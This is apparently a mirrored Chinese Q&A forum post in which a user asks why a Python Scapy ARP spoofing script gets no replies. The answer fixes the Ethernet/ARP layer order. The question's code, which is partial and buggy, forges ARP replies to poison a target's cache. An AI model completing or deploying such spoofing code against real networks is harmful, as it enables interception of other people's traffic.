我想用Scapy发送数据包,它正常发送数据包,但他们没有回复

问题描述 投票:0回答:1

这部分代码应该使用目标的 IP 地址找到目标的 MAC 地址。

def get_MAC(ip):
    pkt_Ether = scapy.Ether(dst='ff:ff:ff:ff:ff')
    pkt_ARP = scapy.ARP(pdst=ip)
    packet = pkt_ARP / pkt_Ether
    ans, unans = scapy.srp(packet, timeout=1, verbose=False) [0]
    ans[0][1][ARP].hwsrc = target_mac
    return target_mac

有了目标的MAC地址,它应该向目标和路由器发送一个数据包,但我不知道为什么它不起作用。

def spoof(target_ip, spoof_ip):
    target_mac = get_MAC(target_ip)
    packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
    scapy.srp(packet, verbose=False)

我尝试通过调整要执行的程序来使用Python3,但它发送数据包并且它们返回而没有响应。

如果有人可以帮助我...

python scapy arp spoofing
1个回答
0
投票

封装错误。而不是:

packet = pkt_ARP / pkt_Ether

你应该:

packet = pkt_Ether / pkt_ARP

ARP 消息封装在以太网帧中,而不是相反。 L2 PDU(以太网)始终排在第一位。使用您的代码,所有接口都会忽略您发送的数据包。

© www.soinside.com 2019 - 2024. All rights reserved.